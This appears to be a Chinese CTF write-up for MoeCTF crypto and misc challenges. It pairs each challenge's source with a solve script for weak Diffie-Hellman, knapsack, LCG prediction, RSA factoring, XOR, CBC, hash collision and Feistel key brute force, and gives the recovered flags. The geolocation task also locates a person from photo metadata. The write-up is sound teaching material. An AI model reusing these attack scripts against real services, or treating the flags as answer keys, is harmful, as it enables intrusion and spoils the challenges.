    alice_privKey = getrandbits(1024)
    alice_pubKey = pow(7, alice_privKey, p)
    bob_privKey = getrandbits(1024)
    bob_pubKey = pow(7, bob_privKey, p)

    superkey = pow(bob_pubKey, alice_privKey, p)
    m = int.from_bytes(flag, 'big')
    return (m * superkey) % p, alice_pubKey, bob_pubKey


from typing import Callable

def chall(input:Callable[[str],None], print:Callable[[str],None]):
    p = int(input("P = "))
    if isPrime(p) and p.bit_length() >= 1024:
        c, alice_pubKey, bob_pubKey = diffie_hellman(p, flag)
        print("Alice's public key: {}".format(alice_pubKey))
        print("Bob's public key: {}".format(bob_pubKey))
        print("Ciphertext: {}".format(c))
    else:
        print("Invalid P")

2、解题方法

题目类似于DAS7月赛的EzDHKE

传一个光滑的p,这样可以很快求出私钥a,b。

求出私钥后,求出superkey

因为返回的密文c满足:

exp:

#sage
import gmpy2
from Crypto.Util.number import *

# 构造一个很光滑的p,即p可以分解成许多小素数之积
p = 1
i = 2
while  isPrime(p+1) ==False or p.bit_length()<1024 :
    p *= i
    i = gmpy2.next_prime(i)

#print(p+1) 

g = 7
p = 20404068993016374194542464172774607695659797117423121913227131032339026169175929902244453757410468728842929862271605567818821685490676661985389839958622802465986881376139404138376153096103140834665563646740160279755212317501356863003638612390661668406235422311783742390510526587257026500302696834793248526734305801634165948702506367176701233298064616663553716975429048751575597150417381063934255689124486029492908966644747931
A = 20336091449271352050000450320351597189353592062279377142884247684088072216754371140723688503847322269500056016823378486967669507529408071986247421480538070427020298314420596325895121922786822444746298488308935254197730980462214370281102952073051791017954008911348128021296665124600273965642418702110947948173149809724203543773244607616601110670126605337319276524135448598308833199821995622969372761107826550795621362415457182
B = 3016038452071464751422492594184606815201979377859418872430468328543181786920301668755954977729921559697635702877324759319811639923934643618711315555467453055288843246623654939387741368313873206560664229687375070952935800932126812264287402142801364732994539469801252414404987968911552061069354407508916590343552775560281691608737262245571829068155383159065889848197300894149747651679644288337413872066182471443965426404626423
c = 8101058129734054038632640353434785588447342802920921913999474154497466343094694993166042668700504613189281291125022077749043805204765309971981658929422844998392130190493145455241084775180221325627765838099393607299071835294706132501949635214088146102721237571159346281928107966372652823580266088579392328383545323322931789769149936581855383571990955947284354676448353798975087410774586309247023597516943906734455833918792577

a = discrete_log(mod(A,p),mod(g,p))

b = discrete_log(mod(B,p),mod(g,p))

superkey = pow(B, a, p)

p = gmpy2.mpz(p)
superkey = gmpy2.mpz(superkey)

d = gmpy2.invert(superkey,p) % p
m = c*d % p
print(long_to_bytes(int(m)))
#moectf{diffie_he11man_key_exChange_is_not_so_hard_2WPIBung92WPIBung9?WP}

十一、minipack

1、题目信息

import random

with open("flag.txt", "rb") as fs:
    flag = fs.read().strip()

assert len(flag) == 72
m = int.from_bytes(b"\xff" + flag + b"\xff", "big")


def long2bits(long):
    bits = []
    while long > 0:
        bits.append(long & 1)
        long >>= 1
    return list(reversed(bits))


def genkey(len):
    sum = 0
    out = []
    for i in range(len):
        delta = random.randint(1, 10000)
        x = sum + delta
        out.append(x)
        sum += x
    return out


key = genkey(74 * 8)

with open("key.txt", "w") as fs:
    fs.write(str(key))


def encrypt(m, keys):
    data = long2bits(m)
    assert len(data) == len(keys)
    return sum((k if (p == 1) else 1) for p, k in zip(data, keys))


with open("ciphertext.txt", "w") as fs:
    fs.write(str(encrypt(m, key)))

2、解题方法

给的key实际上从第二项开始就是一个超递增序列了,利用这个性质,可以恢复m的每一位。

需要注意的是,加密的m是把高位和key的小值相乘的。

我们恢复的时候是通过key恢复m的每一位,所以恢复的是m的低位,因此最后需要逆序

exp:

#sage
from Crypto.Util.number import *

key = [...]
c = 44096612931024003148407895164090667174657344536623354666642108463093659898867859567157728084018394988840266329206836985537987081415020571845239234014695335928717091578810470705259929


m = ''
for i in reversed(key):
    if c > i:
        m += '1'
        c -= i
    else:
        m += '0'
        c -= 1

msg = ''
for i in reversed(m):
    msg += i

flag = long_to_bytes(int(msg,2))
print(flag)

十二、bad_random

1、题目信息

import random

with open("flag.txt", "r") as f:
    flag = f.read().strip()


class LCG:
    def set_params(self):
        self.m = random.randint(10000, 20000)
        self.a = random.randint(10000, 20000)
        self.c = random.randint(1, self.a-1)
        self.x = random.randint(0, self.m-1)

    def get_all_output(self):
        x0 = self.x
        s = set()
        while (t := self()) not in s:
            s.add(t)
        self.x = x0
        return s

    def __init__(self):
        self.set_params()
        while len(self.get_all_output()) < 10:
            self.set_params()

    def __call__(self):
        self.x = (self.a * self.x + self.c) % self.m
        return self.x

from typing import Callable

def chall(input:Callable[[str],None], print:Callable[[str],None]):
    from hashlib import md5
    from string import ascii_letters
    s = "".join(random.choices(ascii_letters, k=16))
    h = md5(s.encode()).hexdigest()
    print(f"<!> md5(XXXXXXXX+{s[8:]}) == {h}")
    i = input("Give me XXXXXXXX: ")
    if md5((i + s[8:]).encode()).hexdigest() != h:
        print("<!> ACCESS DENIED <!>")
        return
    inst = LCG()
    print("Let's play a simple game! If you can guess the right number, I will give your the flag! You have 10 tries")
    for tries in range(10):
        i = input(f"Give me a number, you have failed for {tries} times: ")
        if int(i) == (right := inst()):
            print(f"Congurations! You win the game! Your flag is here: {flag}")
        else:
            print(f"Oh, you are wrong! The right number is {right}")

 2、解题方法

题目要求预测下一个随机数,一个lcg问题。

大家可能会疑惑这都没有输出,怎么预测啊。

需要注意的是,题目给了10次预测机会,如果回答错误,就会给予我们正确答案,我们可以用9次机会获得数据,再根据LCG的原理进行预测

from pwn import *
import string
from itertools import product
import hashlib
from Crypto.Util.number import *
import gmpy2
from collections import Counter


while 1:
    table = string.ascii_letters + string.digits

    host = ''                  
    port =                              
    
    GeShi = b'Give me XXXX: '  
    sh = remote(host,port)                  
    data = sh.recvuntil(GeShi).decode()
    print(data)

    proof = data.split('md5')[1]

    Xnum = proof.split('+')[0].upper().count("X")           
    tail = proof.split('+')[1].split(')')[0]
    hash = proof.split('+')[1].split(')')[1].split('==')[-1].split('\n')[0].strip()


    print("未知数:",Xnum)
    print("tail:",tail)
    print("hash:",hash)
    print("开始爆破")
    for i in product(table,repeat=4):
        head = ''.join(i)
        t = hashlib.md5((head + tail).encode()).hexdigest()
        if t == hash:
            print('爆破成功!结果是:', end='')
            print(head)
            sh.send(head.encode())
            break


    print("以下是提交完XXXX之后的流程\n")
    output = []
    d = sh.recvline()
    print(d.decode())
    for _ in range(9):
        sh.send("1".encode())
        data = sh.recvline()
        print(data.decode())
        output.append(int(data.decode().split(' ')[-1]))
    
    print(output)


    t = []
    for i in range(1,len(output)):
        t.append(output[i]-output[i-1])

    T = []
    for i in range(1,len(t)-1):
        T.append(t[i+1]*t[i-1] - t[i]**2)

    m = []
    for i in range(len(T)-1):
        mm = gmpy2.gcd(T[i],T[i+1])
        if isPrime(mm):
            m.append(int(mm))
        else:
            for i in range(1,100):
                if isPrime(mm // i):
                    mm = mm // i
                    m.append(int(mm))
                    break
    print("m的可能取值",m)
    
    for i in m:
        global flag
        flag = False
        
        if 10000 < i < 20000 and isPrime(i):   
            print("m=",i)
            a = gmpy2.invert(t[0],i) * t[1] % i
            if 10000 < a < 20000:
                print("a=",a)
                b = output[1] - a*output[0] % i
                a_ = gmpy2.invert(a,i)

                seed = (a * output[-1] + b) % i
                print("下一个值是:",seed)
                sh.send(str(seed).encode())
                data = sh.recvline()
                print(data.decode())
                flag = data.decode().split(":")[-1].strip()
                break
            else:
                continue
        else:
            continue
    if flag != False:
        print(flag)
        break

需要注意的是,和都是有范围的,而且在做题过程中,发现成功率并不是100%,需要多次尝试。

十三、factorize_me

1、题目信息

from Crypto.Util.number import getPrime
from math import prod
from sympy import nextprime
from random import choices

with open('flag.txt', 'rb') as fs:
    flag = fs.read().strip()

primes = [getPrime(512) for _ in range(9)]
print(f"{prod(primes) = }")
print(f"{prod(p - 1 for p in primes) = }")

primes2 = [nextprime(p) for p in choices(primes, k=3)]
n = prod(primes2)
e = 65537
c = pow(int.from_bytes(flag, 'big'), e, n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

# 363364907814244019888662301376841344262476227242899756862391470731421569394957444030214887114615748277199649349781524749919652160244484352285668794188836866602305788131186220057989320357344904731322223310531945208433910803617954798258382169132907508787682006064930747033681966462568715421005454243255297306718356766130469885581576362173340673516476386201173298433892314145854649884922769732583885904512624543994675379894718657682146178638074984373206937523380103438050549181568015985546172618830480078894445808092527561363650503540062128543705172678754195578429520889784813733491180748361345720247750720179608752244490362713103319685024237941527268458213442611663415417005556439749055222361212059968254748751273361732365487788593341859760309778894350385339764442343374673786357175846291309425081492959910254127778240522152676060766139057453197528944251599979227271074508795482632471242983094008619339488744362509349734218480932255216087706001484182136783834973304870508270118505737767002256270427907341952256516206663258530300791364944105025764611810001781971638030661367630116818647252727909489405550104641122269772492252464714694507693447974171377200402508765841829763548525530878309985480248379655169722567051495205792089930014228403456098065971372039443284193603395249634283366194562380309469628114581468645669390610963076340643757972439104287127375438663839421605531570285615180251
# 363364907814244019888662301376841344262476227242899756862391470731421569394957444030214887114615748277199649349781524749919652160244484352285668794188836492373364350673588273863828369502073826782362255108313852264064760467561392054178047091483873483255491431451728274259516789065331176728192953741805933100379191778599394515981288225535175013258094287912195847642598436035132783919453991516358280321085873745330313812205910011387125778714795906023110368957596998222544234082487264006696812862179916726781327290284827659294751262185328816323311831349296593013038823107653943652771448719760448938995150646738377177532550757319539185878535087009904848382493668686831331474113789651777885239747000076063679062106375348803749466079052774597412239427050432901553466002731972993029311850718200685157193170716432600165476733200831046297530470544781309612128231925681374239849452623513538498417735984094919756374577623486416462101457492789215144166273775249387638107644634704270216130852885082174564648445147377239033930079759024399532146184753110240154062693457622208373371290126810856885343328090305620627668495081760346853701632815149478447405718664667978825807101325764916405446176183238866136433205933785973568759281210319422288153910340542098573782006262190181726245838857185687242960093445000287347616796984610291664809895901301187179157382169999966124177588884152267266994164841066291200
# n = 899081756851564072995842371038848265712822308942406479625157544735473115850983700580364485532298999127834142923262920189902691972009898741820291331257478170998867183390650298055916005944577877856728843264502218692432679062445730259562784479410120575777748292393321588239071577384218317338474855507210816917917699500763270490789679076190405915250953860114858086078092945282693720016414837231157788381144668395364877545151382171251673050910143023561541226464220441
# e = 65537
# c = 841335863342518623856757469220437045493934999201203757845757404101093751603513457430254875658199946020695655428637035628085973393246970440054477600379027466651143466332405520374224855994531411584946074861018245519106776529260649700756908093025092104292223745612991818151040610497258923925952531383407297026038305824754456660932812929344928080812670596607694776017112795053283695891798940700646874515366341575417161087304105309794441077774052357656529143940010140

2、解题方法

已知大N和大N对应的φ(N)

通过φ(N)和N可以分解N

然后爆破一下即可

exp

from math import gcd
from math import isqrt
from random import randrange
from gmpy2 import is_prime
# from sage.all import is_prime



def factorize(N, phi):
    """
    Recovers the prime factors from a modulus if Euler's totient is known.
    This method only works for a modulus consisting of 2 primes!
    :param N: the modulus
    :param phi: Euler's totient, the order of the multiplicative group modulo N
    :return: a tuple containing the prime factors, or None if the factors were not found
    """
    s = N + 1 - phi
    d = s ** 2 - 4 * N
    p = int(s - isqrt(d)) // 2
    q = int(s + isqrt(d)) // 2
    return p, q


def factorize_multi_prime(N, phi):
    """
    Recovers the prime factors from a modulus if Euler's totient is known.
    This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize.
    More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3)
    :param N: the modulus
    :param phi: Euler's totient, the order of the multiplicative group modulo N
    :return: a tuple containing the prime factors
    """
    prime_factors = set()
    factors = [N]
    while len(factors) > 0:
        # Element to factorize.
        N = factors[0]

        w = randrange(2, N - 1)
        i = 1
        while phi % (2 ** i) == 0:
            sqrt_1 = pow(w, phi // (2 ** i), N)
            if sqrt_1 > 1 and sqrt_1 != N - 1:
                # We can remove the element to factorize now, because we have a factorization.
                factors = factors[1:]

                p = gcd(N, sqrt_1 + 1)
                q = N // p

                if is_prime(p):
                    prime_factors.add(p)
                elif p > 1:
                    factors.append(p)

                if is_prime(q):
                    prime_factors.add(q)
                elif q > 1:
                    factors.append(q)

                # Continue in the outer loop
                break

            i += 1

    return tuple(prime_factors)
    
N = 
phi = 
prime = factorize_multi_prime(N,phi)
#print(prime)

import gmpy2
from random import choices
from Crypto.Util.number import *

while 1:
	primes2 = [gmpy2.next_prime(p) for p in choices(prime, k=3)]
	n = 
	c = 
	if prod(primes2) == n:
		phi = 1
		for i in primes2:
			phi *= (i-1)
			d = gmpy2.invert(65537,phi)
			m = pow(c,d,n)
			flag = long_to_bytes(int(m))
			if b'moectf' in flag:
				print(flag)
				break

十四、xorrrrrrrrr

1、题目信息

flag = open('flag.txt','rb').read()
assert flag.startswith(b'moectf{') and flag.endswith(b'}')
article = open('article.txt','rb').read()

import random

strxor = lambda x,y: bytes([a^b for a,b in zip(x,y)])

result = []

for i in range(100):
    range_start = random.randint(0, len(article) - len(flag))
    mask = article[range_start:range_start + len(flag)]
    result.append(strxor(flag,mask))

with open("result.log","w") as fs:
    fs.writelines([str(i)+"\n" for i in result])

2、解题方法

根据题目,可以意识到,我们可以通过已知的部分明文恢复100个7位的article(甚至更多,最后一位也可以恢复)。

然后把每一个7位的article,遍历密文中每7位值进行异或,如果结果是可打印字符,那么就有可能是flag的值

然后再从中判断flag后6位和有可能的值的前6位是否相等,如果相等,那么第七位就有可能是flag的后一位。

再进行词频分析,选择可能性更大的那个字符

exp

from Crypto.Util.number import *
from tqdm import *
from collections import Counter

strxor = lambda x,y: bytes([a^b for a,b in zip(x,y)])

with open("result.log",'r') as f:
  f = f.readlines()

cipher = [eval(i) for i in f]

head = b'moectf{'

article = []
for i in cipher:
  article.append(bytes(strxor(head,i[:7])))
  
print(article)
re=[]
for x in tqdm(article):
    for i in cipher:
        for j in range(0,len(i)-7):
            tmp=strxor(i[j:j+7],x)
            if len(str(tmp))==10:
                re.append(tmp.decode())			

flag = "moectf{"
for _ in trange(72-8):
    col=[]
    for i in re:
        if flag[-6:] ==i[:6]:
            col.append(i[-1])
    K=Counter(col)
    flag=flag+K.most_common()[0][0]
print(flag+'}')

值得注意的是,这里的eavl(i)是把str变成byte,区别于.encode()

``K=Counter(col)统计col`中每个字符每个字符出现的次数,并且以元组的形式返回

K.most_common()作用同上,但是返回的是列表,这个列表由有序对组成

使用示例

col = [1,2,64,4,8,7,5,12,14]
K = Counter(col)
print(K)
#Counter({1: 1, 2: 1, 64: 1, 4: 1, 8: 1, 7: 1, 5: 1, 12: 1, 14: 1})
print(K.most_common())
#[(1, 1), (2, 1), (64, 1), (4, 1), (8, 1), (7, 1), (5, 1), (12, 1), (14, 1)]

十五、ez_chian

1、题目信息

from Crypto.Util.number import *

with open("key.txt", "r") as fs:
    key = int(fs.read().strip())
with open("flag.txt", "rb") as fs:
    flag = fs.read().strip()
assert len(flag) == 72

m = bytes_to_long(flag)

base = bytes_to_long(b"koito")
iv = 3735927943

def blockize(long):
    out = []
    while long > 0:
        out.append(long % base)
        long //= base
    return list(reversed(out))


blocks = blockize(m)


def encrypt_block_cbc(blocks, iv, key):
    encrypted = [iv]
    for i in range(len(blocks)):
        encrypted.append(blocks[i] ^ encrypted[i] ^ key)
    return encrypted[1:]


print(encrypt_block_cbc(blocks, iv, key))
# [8490961288, 122685644196, 349851982069, 319462619019, 74697733110, 43107579733, 465430019828, 178715374673, 425695308534, 164022852989, 435966065649, 222907886694, 420391941825, 173833246025, 329708930734]

blockize函数相当于是把传入的longbase进制表示,最后把out逆序返回,所以返回的列表中存放的是long的高位到低位(对于base进制而言的高位低位)。

然后是个CBC加密模式,给了iv,重点是求出key。我们是能知道部分的明文,所以是可以求key的。

已知flag格式为moectf{}

自己把flag填充为72位,再把它表示成base进制。

exp

from Crypto.Util.number import *
import random
import string


base = bytes_to_long(b"koito")
def blockize(long):
    out = []
    while long > 0:
        out.append(long % base)
        long //= base
    return list(reversed(out))

for _ in range(10):
    flag = 'moectf{' + ''.join(random.choices(string.ascii_letters,k=64)) + '}'

    m = bytes_to_long(flag.encode())

    print(blockize(m))

经过多组数据测试,可以判断第一块加密的明文的值是 5329712293

由此,便可以求得key,然后就是CBC解密了

需要注意的是,CBC解出来的是m每一位的值(对于base进制),而且是从高到低。

最后用进制恢复m即可求解

exp

from Crypto.Util.number import *

base = bytes_to_long(b"koito")
print(base)

iv = 3735927943
m0 = 5329712293
c = [8490961288, 122685644196, 349851982069, 319462619019, 74697733110, 43107579733, 465430019828, 178715374673, 425695308534, 164022852989, 435966065649, 222907886694, 420391941825, 173833246025, 329708930734]

key = c[0] ^ m0 ^ iv

out = [m0]
for i in range(1,len(c)):
    msg = c[i] ^ c[i-1] ^ key
    out.append(msg)
print(out)                          

out = out[::-1]

m = 0
for i in range(len(out)):
    m += out[i] * base **i

print(long_to_bytes(m))
#moectf{thE_c6c_Is_not_so_hard_9ifxi9i!JGofMJ36D9cPMxroif6!M6oSMuliPPcA3}

十六、broken_hash

1、题目信息

def F(x, y, z):
    return ((x & ~y) ^ (y & ~z) ^ (z & ~x)) ^ (
        ((x + y) * (y + z) + (x + z)) & 0xFFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF
    )


def _block_hash(a, b, c, d):
    x, y, z, w = F(a, b, c), F(b, c, d), F(c, d, a), F(d, a, b)
    return (a ^ b ^ c ^ d ^ x ^ y ^ z ^ w) ^ 0xFFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF


def _hash(blocks: list[int]):
    length = len(blocks)
    if length % 4 != 0:
        padding = 4 - length % 4
        blocks += [0] * padding
        length += padding
    if length == 4:
        return _block_hash(*blocks)
    else:
        block_size = length // 4
        h1 = _hash(blocks[:block_size])
        h2 = _hash(blocks[block_size : block_size * 2])
        h3 = _hash(blocks[block_size * 2 : block_size * 3])
        h4 = _hash(blocks[block_size * 3 :])
        return _block_hash(h1, h2, h3, h4)


def bytes2blocks(data: bytes, block_size=16):
    if len(data) % block_size != 0:
        data += b"\x00" * (block_size - len(data) % block_size)
    return [
        int.from_bytes(data[i : i + block_size], "little")
        for i in range(0, len(data), block_size)
    ]


def hash(*data: list[bytes]):
    return _hash(bytes2blocks(b"".join(data)))


from typing import Callable
from random import randbytes
from base64 import b64decode,b64encode
from hashlib import md5
from string import ascii_letters
from random import choices

with open("flag.txt", "r") as f:
    flag = f.read().strip()

def chall(input: Callable[[str], None], print: Callable[[str], None]):
    def proof_of_work():

        s = "".join(choices(ascii_letters, k=16))
        h = md5(s.encode()).hexdigest()
        print(f"<!> md5(XXXXXXXX+{s[8:]}) == {h}")
        i = input("Give me XXXXXXXX: ")
        return md5((i + s[8:]).encode()).hexdigest() == h
    if not proof_of_work():
        print("<!> ACCESS DENIED <!>")
        return

    b = randbytes(256)
    print(f"this is a random bytes: {b64encode(b).decode()}")
    i = input("give me another bytes with the same hash: ")
    try:
        d = b64decode(i)
    except:
        print("invaild input")
    if hash(b) == hash(d) and d!=b:
        print(f"congurations! and your flag is {flag}")
        

先分析函数

F

def F(x, y, z):
    return ((x & ~y) ^ (y & ~z) ^ (z & ~x)) ^ (
        ((x + y) * (y + z) + (x + z)) & 0xFFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF
    )

接收3个参数。观察到(x & ~y) ^ (y & ~z) ^ (z & ~x)这个表达式有个特征:把x,y,z三者进行交换,或者两者进行交换是不影响整个表达式最后的值。

这个表达式交换x,z不影响整个表达式的值,所以

_block_hash

def _block_hash(a, b, c, d):
    x, y, z, w = F(a, b, c), F(b, c, d), F(c, d, a), F(d, a, b)
    return (a ^ b ^ c ^ d ^ x ^ y ^ z ^ w) ^ 0xFFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF_FFFF

因为

x, y, z, w = F(a, b, c), F(b, c, d), F(c, d, a), F(d, a, b)

等同于

而且不影响最后(a ^ b ^ c ^ d ^ x ^ y ^ z ^ w)的值

故_block_hash(a, b, c, d) = _block_hash(c, d, a, b)

_hash

def _hash(blocks: list[int]):
    length = len(blocks)
    if length % 4 != 0:
        padding = 4 - length % 4
        blocks += [0] * padding
        length += padding
    if length == 4:
        return _block_hash(*blocks)
    else:
        block_size = length // 4
        h1 = _hash(blocks[:block_size])
        h2 = _hash(blocks[block_size : block_size * 2])
        h3 = _hash(blocks[block_size * 2 : block_size * 3])
        h4 = _hash(blocks[block_size * 3 :])
        return _block_hash(h1, h2, h3, h4)

接收一个装有整形数据的列表。如果列表刚好是4个数据,那就返回_broken_hash()的值,如果不是,就先分为4组,再返回_broken_hash()的值

bytes2blocks

def bytes2blocks(data: bytes, block_size=16):
    if len(data) % block_size != 0:
        data += b"\x00" * (block_size - len(data) % block_size)
    return [
        int.from_bytes(data[i : i + block_size], "little")
        for i in range(0, len(data), block_size)

接受byte数据,把一串byte数据分为16字节的块,并以列表的形式返回。

hash

def hash(*data: list[bytes]):
    return _hash(bytes2blocks(b"".join(data)))

接收一个装有byte数据的列表。

分析:

靶机给出256长的字节,按照bytes2blocks,我们可以将其分为16块,也就是4×4

bytes2block函数作用后变成

根据_hash(a,b,c,d),先分别计算

根据算法的性质

所以只需要把靶机给的值进行一些交换即可即把

改为

exp

from Crypto.Util.number import *
import gmpy2
from pwn import *
import string
from itertools import product
import hashlib
import base64


table = string.ascii_letters + string.digits
host = ''
post = 
GeShi = b'Give me XXXX: '  # 改格式!

sh = remote(host,post)
data = sh.recvuntil(GeShi).decode()
print(data)

proof = data.split('md5')[1]

Xnum = proof.split('+')[0].upper().count("X")           #要爆破的数量
tail = proof.split('+')[1].split(')')[0].strip()
hash = proof.split('+')[1].split(')')[1].split('==')[-1].split('\n')[0].strip()


print("未知数:",Xnum)
print("tail:",tail)
print("hash:",hash)
print("开始爆破")
for i in product(table,repeat=Xnum):
    head = ''.join(i)
    t = hashlib.md5((head + tail).encode()).hexdigest()
    if t == hash:
        print('爆破成功!结果是:', end='')
        print(head)
        sh.send(head.encode())
        break


print("以下是提交完XXXX之后的流程\n")
data1 = sh.recvline().decode().strip('\n')
print(data1)
cipher_enc = data1.split(':')[-1].strip().encode()      #本来是str加个encode变成byte
cipher = base64.b64decode(cipher_enc)					

data2 = sh.recvuntil(b':').decode()
print(data2)
def trans(c):
    length = len(c)
    C = [c[i:i+length//4] for i in range(0,length,length//4)]
    C[0],C[1],C[2],C[3] = C[2],C[3],C[0],C[1]

    return b"".join(C)

tmp = trans(cipher)
length = len(tmp)
tmpp = [tmp[i:i+length//4] for i in range(0,length,length//4)]

anser = b""
for i in tmpp:
    anser += trans(i)
    
print(anser)
sh.send(base64.b64encode(anser))							#要进行base64加密后再传给靶机
sh.interactive()											#base64后就是byte数据,不需要encode

十七、feistel_promax

1、题目信息

from Crypto.Util.number import *
from os import urandom

round = 2
flag = open("./secret", "rb").read().strip()

def f(m, key):
    m = m ^ (m >> 4)
    m = m ^ (m << 5)
    m = m ^ (m >> 8)
    m ^= key
    m = (m * 1145 + 14) % 2**64
    m = (m * 1919 + 810) % 2**64
    m = (m * key) % 2**64
    return m


def enc(m, key, round):
    key = bytes_to_long(key)
    left = bytes_to_long(m[:8])
    right = bytes_to_long(m[8:])
    for i in range(round):
        left, right = right, f(right, key) ^ left
    left, right = right, left
    return long_to_bytes(left).rjust(8, b"\x00") + long_to_bytes(right).rjust(8, b"\x00")


def padding(m):
    mlen = len(m)
    pad = 16 - mlen % 16
    return m + pad * bytes([pad])


def ecb_enc(m, key):
    m = padding(m)
    mlen = len(m)
    c = b""
    for i in range(mlen // 16):
        c += enc(m[i * 16 : i * 16 + 16], key, round)
    return c


key = urandom(8)

print(ecb_enc(padding(flag), key))
# b'B\xf5\xd8gy\x0f\xaf\xc7\xdf\xabn9\xbb\xd0\xe3\x1e0\x9eR\xa9\x1c\xb7\xad\xe5H\x8cC\x07\xd5w9Ms\x03\x06\xec\xb4\x8d\x80\xcb}\xa9\x8a\xcc\xd1W\x82[\xd3\xdc\xb4\x83P\xda5\xac\x9e\xb0)\x98R\x1c\xb3h'

2、解题方法

和前一题不同之处在于ecb_enc(padding(flag), key),而且没给出key。

题目把2填充后的flag进行加密,说明实际加密的明文是进行了两次填充。

而且第二次填充的内容是b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'

还得根据这个f的特性,发现如果用部分的key加密,会使得加密后的结果与用完整key加密的结果在低位上有相同的地方,于是可以用爆破求出key。

自己试了从低位,爆破key。一位一位爆的太慢了,然后请教了一下其他师傅,每两位进行爆破,很快就出结果了。

exp

from Crypto.Util.number import *

def f(m, key):
    m = m ^ (m >> 4)
    m = m ^ (m << 5)
    m = m ^ (m >> 8)
    m ^= key
    m = (m * 1145 + 14) % 2**64
    m = (m * 1919 + 810) % 2**64
    m = (m * key) % 2**64
    return m

def dec(c,key):
    key = bytes_to_long(key)
    left = bytes_to_long(c[:8])
    right = bytes_to_long(c[8:])
    m_right = f(right,key) ^ left
    m_left = f(m_right,key) ^ right
    return long_to_bytes(m_left) + long_to_bytes(m_right)


def ecb_dec(c, key):
    clen = len(c)
    m = b""
    for i in range(clen // 16):
        m += dec(c[i * 16 : i * 16 + 16], key)
    return m

m = b'\x10\x10\x10\x10\x10\x10\x10\x10'
ct = b'B\xf5\xd8gy\x0f\xaf\xc7\xdf\xabn9\xbb\xd0\xe3\x1e0\x9eR\xa9\x1c\xb7\xad\xe5H\x8cC\x07\xd5w9Ms\x03\x06\xec\xb4\x8d\x80\xcb}\xa9\x8a\xcc\xd1W\x82[\xd3\xdc\xb4\x83P\xda5\xac\x9e\xb0)\x98R\x1c\xb3h'
c = bytes_to_long(ct[-8:]) ^ bytes_to_long(m)
bin_c = bin(c)[2:].rjust(64,'0')


k1 = [b'']
for i in range(1,5):
    k2 = []
    for KEY in k1:
        for j in range(2**16):
            key1 = long_to_bytes(j) + KEY
            cc = f(bytes_to_long(m),bytes_to_long(key1))
            bin_cc = bin(cc)[2:].rjust(64,'0')
            if bin_cc[-16*i:] == bin_c[-16*i:]:
                k2.append(key1)
                k1 = k2
    # print(k2)

key = [b'4t*zFD\xac\xb4', b'\xb4t*zFD\xac\xb4', b'\\q\x0f\x00w\xeb\xc1"', b'\xdcq\x0f\x00w\xeb\xc1"']
for KEY in key:
    flag = ecb_dec(ct,KEY)
    print(flag)
#moectf{F_func_1s_n1t_Ve5y_$EcU%e}

🎱Misc

一、Misc 入门指北

1、附件信息:

文档末尾有一串编码

bW9lY3Rme2hAdjNfZnVuX0B0X20xNWNfIX0=

2、解题方法:

二、打不开的图片1

1、题目信息:

CHALLENGE: 打不开的图片1
DESCRIPTION: 青青发了一张西电的风景图,但是怎么打不开

2、解题方法:

附件文件无后缀,但根据提示知道是图片。放到010编辑器查看发现jpg格式缺少头,然后我们补完整后保存。

查看图片属性发现HEX编码。

6d6f656374667b5844555f69355f763372795f3665407532696675317d

三、打不开的图片2

1、题目信息:

CHALLENGE: 打不开的图片2
DESCRIPTION: 青青又发了一张图片,但是怎么牛头不对马嘴

2、解题方法:

010打开,发现文件头格式错误,应该是png格式。

修改成png头保存打开。

四、狗子(1) 普通的猫

1、题目信息:

CHALLENGE: 狗子(1) 普通的猫
DESCRIPTION: [The Magical Cat Ep.1]
对,你没有听错。狗子是一只猫。
Rx 兴致勃勃地把他新养的猫的叫声发给了我们。为表情谊,Rx 也把 Flag 放在文件里,送给了我们。
(The Magical Cat 是一套带剧情(?)的系列题,包含六道难度循序渐进的 Misc 题目。)

提示:flag 被直接放在了文件里,但是该怎么找到它呢?也许一个 Hex 编辑器(例如 010 Editor 或 ImHex)能够帮到你。

2、解题方法:

010打开文件,查找末尾发现flag

五、building_near_lake

1、题目信息:

CHALLENGE: building_near_lake
DESCRIPTION: 一位群友在群里发了一张照片,细心的可可发现,他的照片居然发了原图!这不得找出他的坐标,给他一点小小的警告?

hint: 经纬度一般精确到小数点后三位即可 判定方式是在地图上画个圆 给的坐标在圆内即可
hint2: 使用的是BD09坐标系

2、解题方法:

连接靶机打开题目发现我们需要完成三个问题,即经纬度查询和发布时间。

首先下载这个图片查看属性,可发现拍摄设备型号。

查看发布会时间的话百度即可得到:20221227

下一步去寻找经纬度,可以百度识图(由于识别出来的类似场景很多,因此需要我们多找多看,最后发现是“厦门大学翔安校区德旺图书馆”)

然后我们去地图上获取经纬度即可,这里数据是一个范围,因此不需要太精确,记得保留三位小数。

信息填写完成后点击“我不是机器人按钮”进行校验,校验完成后提交即可得到flag。

六、尊嘟假嘟?

1、题目信息:

CHALLENGE: 尊嘟假嘟?
DESCRIPTION: 嘟嘟嘟

2、附件信息:

